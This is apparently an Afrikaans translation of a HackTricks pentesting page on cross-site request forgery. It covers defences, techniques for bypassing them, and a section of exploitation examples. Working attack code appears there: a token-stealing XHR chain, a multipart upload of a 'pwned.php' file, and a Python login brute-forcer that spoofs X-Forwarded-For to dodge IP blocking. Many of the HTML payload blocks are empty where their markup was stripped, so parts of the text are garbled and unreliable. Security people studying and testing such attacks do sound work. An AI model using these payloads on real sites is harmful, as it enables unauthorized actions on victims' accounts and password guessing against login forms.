# CSRF (Cross Site Request Forgery) {{#include ../banners/hacktricks-training.md}} ## Cross-Site Request Forgery (CSRF) Verduidelik **Cross-Site Request Forgery (CSRF)** is 'n tipe sekuriteitskwesbaarheid wat in webtoepassings voorkom. Dit stel aanvallers in staat om aksies namens onbewuste gebruikers uit te voer deur hul geverifieerde sessies te benut. Die aanval word uitgevoer wanneer 'n gebruiker, wat in 'n slagoffer se platform aangemeld is, 'n kwaadwillige webwerf besoek. Hierdie webwerf aktiveer dan versoeke na die slagoffer se rekening deur metodes soos die uitvoer van JavaScript, indien van vorms, of die verkryging van beelde. ### Voorvereistes vir 'n CSRF-aanval Om 'n CSRF-kwesbaarheid te benut, moet verskeie voorwaardes nagekom word: 1. **Identifiseer 'n Waardevolle Aksie**: Die aanvaller moet 'n aksie vind wat die moeite werd is om te benut, soos om die gebruiker se wagwoord, e-pos of bevoegdhede te verander. 2. **Sessiebestuur**: Die gebruiker se sessie moet uitsluitlik deur koekies of die HTTP Basic Authentication-koptekst bestuur word, aangesien ander koptekste nie vir hierdie doel gemanipuleer kan word nie. 3. **Afwesigheid van Onvoorspelbare Parameters**: Die versoek moet nie onvoorspelbare parameters bevat nie, aangesien dit die aanval kan voorkom. ### Vinige Kontrole Jy kan **die versoek in Burp vasvang** en CSRF-beskermings nagaan en om van die blaaier te toets kan jy op **Kopieer as fetch** klik en die versoek nagaan:
### Verdediging teen CSRF Verskeie teenmaatreëls kan geïmplementeer word om teen CSRF-aanvalle te beskerm: - [**SameSite koekies**](hacking-with-cookies/index.html#samesite): Hierdie attribuut verhoed dat die blaaier koekies saam met kruis-web versoeke stuur. [Meer oor SameSite koekies](hacking-with-cookies/index.html#samesite). - [**Cross-origin resource sharing**](cors-bypass.md): Die CORS-beleid van die slagoffer se webwerf kan die haalbaarheid van die aanval beïnvloed, veral as die aanval vereis dat die antwoord van die slagoffer se webwerf gelees word. [Leer oor CORS-bypass](cors-bypass.md). - **Gebruiker Verifikasie**: Om die gebruiker se wagwoord te vra of 'n captcha op te los kan die gebruiker se bedoeling bevestig. - **Kontroleer Referrer of Oorsprong Koptekste**: Die validering van hierdie koptekste kan help om te verseker dat versoeke van vertroude bronne kom. Dit is egter moontlik om swak geïmplementeerde kontroles te omseil deur sorgvuldig URL's te skep, soos: - Gebruik `http://mal.net?orig=http://example.com` (URL eindig met die vertroude URL) - Gebruik `http://example.com.mal.net` (URL begin met die vertroude URL) - **Wysig Parametername**: Die name van parameters in POST of GET versoeke kan gewysig word om geoutomatiseerde aanvalle te voorkom. - **CSRF Tokens**: Die insluiting van 'n unieke CSRF-token in elke sessie en die vereiste van hierdie token in daaropvolgende versoeke kan die risiko van CSRF aansienlik verminder. Die doeltreffendheid van die token kan verbeter word deur CORS af te dwing. Om hierdie verdediging te verstaan en te implementeer is van kardinale belang om die sekuriteit en integriteit van webtoepassings te handhaaf. ## Verdedigings Bypass ### Van POST na GET Miskien is die vorm wat jy wil misbruik voorberei om 'n **POST versoek met 'n CSRF-token te stuur, maar** jy moet **kontroleer** of 'n **GET** ook **geldig** is en of wanneer jy 'n GET versoek stuur die **CSRF-token steeds geverifieer word**. ### Gebrek aan token Toepassings mag 'n meganisme implementeer om **tokens te verifieer** wanneer hulle teenwoordig is. 'n Kwesbaarheid ontstaan egter as die verifikasie heeltemal oorgeslaan word wanneer die token afwesig is. Aanvallers kan dit benut deur die **parameter** wat die token dra te **verwyder**, nie net sy waarde nie. Dit stel hulle in staat om die verifikasieproses te omseil en 'n Cross-Site Request Forgery (CSRF) aanval effektief uit te voer. ### CSRF-token is nie aan die gebruiker se sessie gekoppel nie Toepassings **wat CSRF-tokens nie aan gebruiker sessies koppel nie** bied 'n beduidende **sekuriteitsrisiko**. Hierdie stelsels verifieer tokens teen 'n **globale poel** eerder as om te verseker dat elke token aan die inisiërende sessie gebind is. Hier is hoe aanvallers dit benut: 1. **Verifieer** met hul eie rekening. 2. **Verkry 'n geldige CSRF-token** uit die globale poel. 3. **Gebruik hierdie token** in 'n CSRF-aanval teen 'n slagoffer. Hierdie kwesbaarheid stel aanvallers in staat om ongeoorloofde versoeke namens die slagoffer te maak, wat die toepassing se **onvoldoende token verifikasie meganisme** benut. ### Metode bypass As die versoek 'n "**vreemde**" **metode** gebruik, kontroleer of die **metode** **oorskry funksionaliteit** werk. Byvoorbeeld, as dit **'n PUT** metode gebruik, kan jy probeer om **'n POST** metode te **gebruik** en **stuur**: _https://example.com/my/dear/api/val/num?**\_method=PUT**_ Dit kan ook werk deur die **\_method parameter binne 'n POST versoek** te stuur of deur die **koptekste** te gebruik: - _X-HTTP-Method_ - _X-HTTP-Method-Override_ - _X-Method-Override_ ### Aangepaste kopteks token bypass As die versoek 'n **aangepaste kopteks** met 'n **token** aan die versoek voeg as **CSRF beskermingsmetode**, dan: - Toets die versoek sonder die **Aangepaste Token en ook kopteks.** - Toets die versoek met presies **dieselfde lengte maar 'n ander token**. ### CSRF-token word deur 'n koekie geverifieer Toepassings mag CSRF-beskerming implementeer deur die token in beide 'n koekie en 'n versoekparameter te dupliceer of deur 'n CSRF-koekie in te stel en te verifieer of die token wat in die agtergrond gestuur word ooreenstem met die koekie. Die toepassing verifieer versoeke deur te kontroleer of die token in die versoekparameter ooreenstem met die waarde in die koekie. Hierdie metode is egter kwesbaar vir CSRF-aanvalle as die webwerf gebreke het wat 'n aanvaller in staat stel om 'n CSRF-koekie in die slagoffer se blaaier in te stel, soos 'n CRLF-kwesbaarheid. Die aanvaller kan dit benut deur 'n misleidende beeld te laai wat die koekie stel, gevolg deur die inisiëring van die CSRF-aanval. Hieronder is 'n voorbeeld van hoe 'n aanval gestruktureer kan word: ```html
``` > [!NOTE] > Let daarop dat as die **csrf token verband hou met die sessie koekie, hierdie aanval nie sal werk nie** omdat jy die slagoffer jou sessie moet stel, en daarom sal jy jouself aanval. ### Inhouds tipe verandering Volgens [**hierdie**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests), om **preflight** versoeke met die **POST** metode te **vermy**, is hierdie die toegelate Inhouds tipe waardes: - **`application/x-www-form-urlencoded`** - **`multipart/form-data`** - **`text/plain`** Let egter daarop dat die **bediener se logika kan verskil** afhangende van die **Inhouds tipe** wat gebruik word, so jy moet die genoemde waardes en ander soos **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._ Voorbeeld (van [hier](https://brycec.me/posts/corctf_2021_challenges)) van die stuur van JSON data as text/plain: ```html
``` ### Omseil van Preflight Versoeke vir JSON Data Wanneer jy probeer om JSON-data via 'n POST-versoek te stuur, is dit nie direk moontlik om die `Content-Type: application/json` in 'n HTML-vorm te gebruik nie. Net so, die gebruik van `XMLHttpRequest` om hierdie inhouds tipe te stuur, begin 'n preflight-versoek. Nietemin, daar is strategieë om moontlik hierdie beperking te omseil en te kontroleer of die bediener die JSON-data verwerk ongeag die Content-Type: 1. **Gebruik Alternatiewe Inhoudstipes**: Gebruik `Content-Type: text/plain` of `Content-Type: application/x-www-form-urlencoded` deur `enctype="text/plain"` in die vorm in te stel. Hierdie benadering toets of die agtergrond die data gebruik ongeag die Content-Type. 2. **Wysig Inhouds Tipe**: Om 'n preflight-versoek te vermy terwyl jy verseker dat die bediener die inhoud as JSON herken, kan jy die data stuur met `Content-Type: text/plain; application/json`. Dit aktiveer nie 'n preflight-versoek nie, maar kan korrek deur die bediener verwerk word as dit geconfigureer is om `application/json` te aanvaar. 3. **SWF Flash Lêer Gebruik**: 'n Minder algemene maar haalbare metode behels die gebruik van 'n SWF-flash-lêer om sulke beperkings te omseil. Vir 'n diepgaande begrip van hierdie tegniek, verwys na [this post](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937). ### Referrer / Oorsprong kontrole omseiling **Vermy Referrer kop** Toepassings mag die 'Referer' kop slegs valideer wanneer dit teenwoordig is. Om te voorkom dat 'n blaaier hierdie kop stuur, kan die volgende HTML meta-tag gebruik word: ```xml ``` Dit verseker dat die 'Referer' kop nie ingesluit word nie, wat moontlik valideringskontroles in sommige toepassings omseil. **Regexp omseilings** {{#ref}} ssrf-server-side-request-forgery/url-format-bypass.md {{#endref}} Om die domeinnaam van die bediener in die URL wat die Referrer gaan stuur binne die parameters in te stel, kan jy doen: ```html
``` ### **HEAD metode omseiling** Die eerste deel van [**hierdie CTF skrywe**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) verduidelik dat [Oak se bronkode](https://github.com/oakserver/oak/blob/main/router.ts#L281), 'n router is ingestel om **HEAD versoeke te hanteer as GET versoeke** sonder 'n responsliggaam - 'n algemene omseiling wat nie uniek is aan Oak nie. In plaas van 'n spesifieke hanteerder wat met HEAD versoeke werk, word hulle eenvoudig **aan die GET hanteerder gegee, maar die app verwyder net die responsliggaam**. Daarom, as 'n GET versoek beperk word, kan jy eenvoudig **'n HEAD versoek stuur wat as 'n GET versoek verwerk sal word**. ## **Eksploitasie Voorbeelde** ### **Exfiltrering van CSRF Token** As 'n **CSRF token** as **verdediging** gebruik word, kan jy probeer om dit te **exfiltreer** deur 'n [**XSS**](xss-cross-site-scripting/index.html#xss-stealing-csrf-tokens) kwesbaarheid of 'n [**Dangling Markup**](dangling-markup-html-scriptless-injection/index.html) kwesbaarheid te misbruik. ### **GET met HTML etikette** ```xml

404 - Page not found

The URL you are requesting is no longer available ``` Ander HTML5-tags wat gebruik kan word om outomaties 'n GET-versoek te stuur, is: ```html ``` ### Vorm GET-versoek ```html
``` ### Vorm POST versoek ```html
``` ### Form POST versoek deur iframe ```html
``` ### **Ajax POST versoek** ```html ``` ### multipart/form-data POST versoek ```javascript myFormData = new FormData() var blob = new Blob([""], { type: "text/text" }) myFormData.append("newAttachment", blob, "pwned.php") fetch("http://example/some/path", { method: "post", body: myFormData, credentials: "include", headers: { "Content-Type": "application/x-www-form-urlencoded" }, mode: "no-cors", }) ``` ### multipart/form-data POST versoek v2 ```javascript // https://www.exploit-db.com/exploits/20009 var fileSize = fileData.length, boundary = "OWNEDBYOFFSEC", xhr = new XMLHttpRequest() xhr.withCredentials = true xhr.open("POST", url, true) // MIME POST request. xhr.setRequestHeader( "Content-Type", "multipart/form-data, boundary=" + boundary ) xhr.setRequestHeader("Content-Length", fileSize) var body = "--" + boundary + "\r\n" body += 'Content-Disposition: form-data; name="' + nameVar + '"; filename="' + fileName + '"\r\n' body += "Content-Type: " + ctype + "\r\n\r\n" body += fileData + "\r\n" body += "--" + boundary + "--" //xhr.send(body); xhr.sendAsBinary(body) ``` ### Form POST versoek vanaf binne 'n iframe ```html <--! expl.html -->

Sitio bajo mantenimiento. Disculpe las molestias

``` ### **Steal CSRF Token en stuur 'n POST versoek** ```javascript function submitFormWithTokenJS(token) { var xhr = new XMLHttpRequest() xhr.open("POST", POST_URL, true) xhr.withCredentials = true // Send the proper header information along with the request xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded") // This is for debugging and can be removed xhr.onreadystatechange = function () { if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) { //console.log(xhr.responseText); } } xhr.send("token=" + token + "&otherparama=heyyyy") } function getTokenJS() { var xhr = new XMLHttpRequest() // This tels it to return it as a HTML document xhr.responseType = "document" xhr.withCredentials = true // true on the end of here makes the call asynchronous xhr.open("GET", GET_URL, true) xhr.onload = function (e) { if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) { // Get the document from the response page = xhr.response // Get the input element input = page.getElementById("token") // Show the token //console.log("The token is: " + input.value); // Use the token to submit the form submitFormWithTokenJS(input.value) } } // Make the request xhr.send(null) } var GET_URL = "http://google.com?param=VALUE" var POST_URL = "http://google.com?param=VALUE" getTokenJS() ``` ### **Steal CSRF Token en stuur 'n Post versoek met 'n iframe, 'n vorm en Ajax** ```html
``` ### **Steal CSRF Token en stuur 'n POST versoek met 'n iframe en 'n vorm** ```html ``` ### **Steal token and send it using 2 iframes** ```html
``` ### **POSTSteal CSRF-token met Ajax en stuur 'n pos met 'n vorm** ```html
``` ### CSRF met Socket.IO ```html ``` ## CSRF Login Brute Force Die kode kan gebruik word om 'n aanmeldvorm te brute-force met 'n CSRF-token (Dit gebruik ook die kop X-Forwarded-For om te probeer om 'n moontlike IP-swartlys te omseil): ```python import request import re import random URL = "http://10.10.10.191/admin/" PROXY = { "http": "127.0.0.1:8080"} SESSION_COOKIE_NAME = "BLUDIT-KEY" USER = "fergus" PASS_LIST="./words" def init_session(): #Return CSRF + Session (cookie) r = requests.get(URL) csrf = re.search(r'input type="hidden" id="jstokenCSRF" name="tokenCSRF" value="([a-zA-Z0-9]*)"', r.text) csrf = csrf.group(1) session_cookie = r.cookies.get(SESSION_COOKIE_NAME) return csrf, session_cookie def login(user, password): print(f"{user}:{password}") csrf, cookie = init_session() cookies = {SESSION_COOKIE_NAME: cookie} data = { "tokenCSRF": csrf, "username": user, "password": password, "save": "" } headers = { "X-Forwarded-For": f"{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}" } r = requests.post(URL, data=data, cookies=cookies, headers=headers, proxies=PROXY) if "Username or password incorrect" in r.text: return False else: print(f"FOUND {user} : {password}") return True with open(PASS_LIST, "r") as f: for line in f: login(USER, line.strip()) ``` ## Gereedskap - [https://github.com/0xInfection/XSRFProbe](https://github.com/0xInfection/XSRFProbe) - [https://github.com/merttasci/csrf-poc-generator](https://github.com/merttasci/csrf-poc-generator) ## Verwysings - [https://portswigger.net/web-security/csrf](https://portswigger.net/web-security/csrf) - [https://portswigger.net/web-security/csrf/bypassing-token-validation](https://portswigger.net/web-security/csrf/bypassing-token-validation) - [https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses](https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses) - [https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html](https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html) ​ {{#include ../banners/hacktricks-training.md}}